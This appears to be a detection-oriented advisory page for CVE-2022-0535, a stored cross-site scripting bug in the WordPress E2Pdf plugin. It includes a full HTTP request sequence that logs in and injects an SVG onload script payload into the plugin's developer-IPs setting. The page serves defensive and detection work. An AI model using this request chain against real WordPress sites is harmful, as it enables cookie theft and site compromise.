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CVE-2022-0535: WordPress E2Pdf <1.16.45 - Cross-Site Scripting

TitleWordPress E2Pdf <1.16.45 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate the WordPress E2Pdf plugin to version 1.16.45 or later to mitigate the vulnerability.
CVSS Score4.8
EPSS Score0.0224
CVE IDCVE-2022-0535
CWE IDCWE-79
Tags cve cve2022 wp-plugin xss authenticated e2pdf wpscan wordpress wp vuln

🔍 Vulnerability Description

WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Safari/602.4.8
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=9WMq9j&pwd=cwV4fm&wp-submit=Log+In
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Content-Length: 534
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_nonce=VoPXbx&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0535.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0535.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A